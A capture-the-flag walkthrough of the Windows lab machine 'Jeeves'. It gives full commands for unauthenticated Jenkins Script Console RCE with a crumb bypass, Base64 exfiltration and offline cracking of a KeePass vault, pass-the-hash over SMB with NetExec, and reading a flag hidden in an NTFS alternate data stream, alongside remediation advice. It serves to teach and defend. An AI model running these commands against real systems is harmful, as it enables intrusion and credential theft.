← all walkthroughs

Jeeves

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-07-07
time to own
16m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Jenkins CI server on TCP/50000 with its Groovy Script Console fully exposed — no login required to run arbitrary code on the Windows host. Jenkins' own CSRF-token endpoint was equally unauthenticated, so a single extra HTTP request supplied the crumb needed to silence the 403 error, giving immediate remote code execution as the Windows service account jeeves\kohsuke. The user flag was read directly through this channel without ever needing an interactive shell.

A filesystem search of the service account's profile turned up a KeePass 2 credential database, which was exfiltrated by encoding its bytes as Base64 over the same text-only RCE channel. The master password — a single common dictionary word — was cracked offline in under a minute, and the vault contained the built-in Administrator's NTLM hash in plain text. Supplying that hash directly to the SMB service (pass-the-hash) authenticated as full Administrator with no password cracking required.

The root flag was not in a normal file but concealed inside an NTFS Alternate Data Stream on the Administrator's desktop, retrieved with standard SMB tooling once administrative access was established.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconNetwork port and service enumeration (T1046)
Mapped exposed network services and identified Jenkins on a non-standard port
A port scan of $TARGET found four open services: IIS 10.0 on TCP/80, Windows RPC on TCP/135, SMB on TCP/445, and a Jetty 9.4 HTTP server on TCP/50000. Browsing the Jetty service revealed a Jenkins CI instance running the Hudson theme at the non-standard application context /askjeeves/, confirming a Jenkins installation reachable directly from the network.
Exact commands 2
Version and script scan of the known open ports.
nmap -sV -sC -p 80,135,445,50000 $TARGET -oN jeeves_nmap.txt
Confirm Jenkins is running on port 50000 at the /askjeeves/ context path.
curl -sS -D - -o /dev/null http://$TARGET:50000/askjeeves/
2EnumerationUnauthenticated access to privileged web application function
Discovered an unauthenticated Jenkins Groovy Script Console
The Jenkins Script Console at /askjeeves/script loaded in a browser without prompting for credentials. The /askjeeves/whoAmI/ endpoint confirmed the anonymous (unauthenticated) user was treated as Authenticated — meaning the entire Jenkins instance required no login, including the console that executes arbitrary Groovy and OS commands on the underlying Windows host.
/askjeeves/whoAmI/ returned Authenticated status for the anonymous user; /askjeeves/script served the interactive console with no login redirect.
Exact commands 2
Confirm the anonymous user is treated as Authenticated.
curl -sS "http://$TARGET:50000/askjeeves/whoAmI/"
Confirm the Script Console is accessible without any credentials.
curl -sS "http://$TARGET:50000/askjeeves/script"
FixEnable Jenkins authentication and restrict the Script Console to administratorsCritical
WeaknessThe Jenkins instance on TCP/50000 required no login at all — any network visitor to /askjeeves/script could execute arbitrary Groovy code on the Windows host as the service account. The built-in CSRF protection was trivially bypassed because the token-issuer endpoint was equally unauthenticated, so it provided no real barrier once the main authentication gate was absent.
FixEnable Jenkins' security model immediately: Manage Jenkins → Configure Global Security → Enable Security. Set an authorization strategy of at minimum 'Logged-in users can do anything' and create named user accounts; for production, use a role-based matrix granting the Script Console only to administrators. Ensure Jenkins is not directly reachable from untrusted networks — place it behind a VPN or internal-only firewall rule. Rotate all credentials, API tokens, and service account passwords that Jenkins held or had access to, as they must be considered compromised.
3ExploitationRemote code execution via unauthenticated Jenkins Script Console (T1059.003 — Windows Command Shell)
Bypassed Jenkins CSRF protection and achieved remote code execution as the service account
POSTing a Groovy payload to the scriptText endpoint initially returned HTTP 403 — 'No valid crumb was included in the request' — indicating CSRF protection. Because authentication was disabled entirely, the crumb-issuer API at /askjeeves/crumbIssuer/api/json was itself unauthenticated; one extra GET request returned a valid CSRF token. Replaying the Groovy payload with the Jenkins-Crumb header executed arbitrary Windows commands as jeeves\kohsuke via Groovy's ProcessBuilder API.
ProcessBuilder("cmd.exe","/c","whoami") returned jeeves\kohsuke, confirming OS-level command execution.
Exact commands 2
Fetch a valid CSRF crumb from the unauthenticated endpoint; note the crumb value and save the session cookie.
curl -sS -c /tmp/jeeves.cookies "http://$TARGET:50000/askjeeves/crumbIssuer/api/json"
Replace <crumb> with the value from the previous response; output should be jeeves\kohsuke confirming RCE.
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","whoami").redirectErrorStream(true).start().text'
4FootholdArbitrary OS command execution via web-based RCE (T1059.003)
Read the user flag directly through the RCE channel
With confirmed command execution as jeeves\kohsuke, I read the user flag from the account's Desktop by issuing a cmd /c type command through the same Groovy ProcessBuilder channel — no interactive shell or file transfer was required.
The scriptText endpoint with Jenkins-Crumb [REDACTED: sensitive value] returned the content of user.txt.
Exact commands 1
Use the crumb obtained in step 3; returns <user.txt>.
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: [REDACTED: sensitive value]' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","type C:\\Users\\kohsuke\\Desktop\\user.txt").redirectErrorStream(true).start().text'
5Post-ExploitationCredential file discovery and exfiltration (T1552.001, T1048)
Located and exfiltrated a KeePass credential database from the service account profile
A directory listing of C:\Users\kohsuke\Documents through the RCE channel found CEH.kdbx — a KeePass 2 password database. With no native binary-transfer utility available on the Jenkins host (certutil was absent), the file was exfiltrated by invoking PowerShell through the Groovy channel to Base64-encode the raw file bytes, printing them as text output, and decoding them locally.
Dir C:\Users\kohsuke\Documents confirmed CEH.kdbx present; PowerShell Base64 output decoded locally to a valid KeePass 2 database.
Exact commands 3
Confirm CEH.kdbx exists on the target.
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("cmd.exe","/c","dir C:\\Users\\kohsuke\\Documents").redirectErrorStream(true).start().text'
Exfiltrate the KeePass database as Base64 text over the RCE channel; copy the output.
curl -sS -b /tmp/jeeves.cookies -H 'Jenkins-Crumb: <crumb>' "http://$TARGET:50000/askjeeves/scriptText" --data-urlencode 'script=println new ProcessBuilder("powershell","-c","[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\\Users\\kohsuke\\Documents\\CEH.kdbx'))").redirectErrorStream(true).start().text'
Paste the Base64 output from the previous command in place of <base64_output> to reconstruct the .kdbx file locally.
echo '<base64_output>' | base64 -d > /tmp/CEH.kdbx
FixProtect credential vaults with strong master passwords and store them away from service account profilesHigh
WeaknessA KeePass database containing the Windows Administrator's NTLM hash was stored inside the Jenkins service account's Documents folder. Its master password ('[REDACTED: recovered credential]') was a single common dictionary word, cracked in seconds against a public wordlist, making the entire vault — including the most privileged credential on the machine — recoverable by anyone who could read one file.
FixUse a master password of at least 20 characters drawn from a random passphrase (four or more unrelated words with mixed case and symbols) that does not appear in any public wordlist. Store credential databases only in locations inaccessible to service accounts; a build agent's profile directory is the wrong place for human operator secrets. Audit the home directories and accessible paths of every service account and remove any credential files that should not be there. Consider a centralized secrets manager (e.g., HashiCorp Vault, CyberArk) rather than file-based vaults on hosts that execute untrusted build jobs.
6Credential AccessOffline credential vault cracking (T1110.002) and password store access (T1555)
Cracked the KeePass master password and extracted the Administrator NTLM hash
The KeePass database was converted to a John-the-Ripper compatible hash and cracked against the rockyou.txt wordlist — the master password '[REDACTED: recovered credential]' was a single common dictionary word and fell in seconds. Dumping the vault with pykeepass surfaced an entry storing the built-in Windows Administrator account's NTLM hash alongside decoy entries for retail and banking sites.
John output: [REDACTED: recovered credential]; pykeepass dump returned NTLM hash [REDACTED: recovered credential] for the Administrator entry.
Exact commands 3
Convert the database to a crackable hash format.
keepass2john /tmp/CEH.kdbx > /tmp/CEH.hash
Crack the master password; result: [REDACTED: recovered credential].
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/CEH.hash --format=KeePass
Dump all vault entries; the Administrator entry reveals NTLM hash [REDACTED: recovered credential].
python3 -c "from pykeepass import PyKeePass; kp=PyKeePass('/tmp/CEH.kdbx', password='$PASSWORD'); [print(e.title, e.username, e.password) for e in kp.entries]"
7Privilege EscalationPass-the-Hash over SMB (T1550.002)
Authenticated as the built-in Administrator using pass-the-hash over SMB
Windows NTLM authentication accepts a password hash directly in place of the cleartext password. The Administrator's NTLM hash recovered from the KeePass vault was passed to the SMB service, granting full administrative access to the machine without ever knowing or cracking the real password. NetExec confirmed the authentication succeeded with a 'Pwn3d!' marker.
Nxc smb $TARGET -u Administrator -H [REDACTED: recovered credential] returned [+] Jeeves\Administrator (Pwn3d!).
Exact commands 1
Confirm pass-the-hash authentication; look for Pwn3d! In the output.
nxc smb $TARGET -u Administrator -H $PASSWORD2 -x whoami
FixEliminate NTLM pass-the-hash exposure for privileged accountsCritical
WeaknessThe built-in Administrator account's NTLM hash authenticated directly over SMB, granting full system access without requiring the cleartext password. In Windows NTLM, a hash is functionally equivalent to a password — possessing it is sufficient to impersonate the account on any service that accepts NTLM.
FixAdd the built-in Administrator account to the Protected Users security group (Windows Server 2012 R2 and later), which blocks NTLM authentication for that account entirely and requires Kerberos. Deploy Microsoft LAPS (Local Administrator Password Solution) or Windows LAPS to automatically rotate unique local administrator passwords per machine, so a hash stolen from one host cannot authenticate to any other. Disable the built-in Administrator account (RID 500) in favor of named privileged accounts with distinct credentials per machine. Consider blocking inbound SMB (TCP/445) from workstations and untrusted network segments at the host firewall to reduce the attack surface even if a hash is later compromised.
8RootData concealed in NTFS Alternate Data Stream (T1564.004)
Retrieved the root flag hidden inside an NTFS Alternate Data Stream
The Administrator's Desktop contained hm.txt, which appeared empty under a standard file read. The actual root flag was stored as a named Alternate Data Stream — hm.txt:root.txt — a Windows NTFS feature that attaches hidden byte streams to a file. These streams are invisible to dir listings and most applications but are preserved through SMB. The smbclient allinfo command revealed the stream name, and a targeted get with the stream syntax retrieved its contents.
Smbclient allinfo hm.txt revealed stream ':root.txt:$DATA'; get hm.txt:root.txt returned <root.txt>.
Exact commands 2
List all metadata and named streams on hm.txt; look for a :root.txt stream in the output.
smbclient //$TARGET/C$ -U 'Jeeves\Administrator%$PASSWORD2' --pw-nt-hash -c 'cd Users\Administrator\Desktop; allinfo hm.txt'
Retrieve the hidden Alternate Data Stream; /tmp/root_ads.txt will contain <root.txt>.
smbclient //$TARGET/C$ -U 'Jeeves\Administrator%$PASSWORD2' --pw-nt-hash -c 'cd Users\Administrator\Desktop; get hm.txt:root.txt /tmp/root_ads.txt'

Exposed services

80/tcp
135/tcp
445/tcp
50000/tcp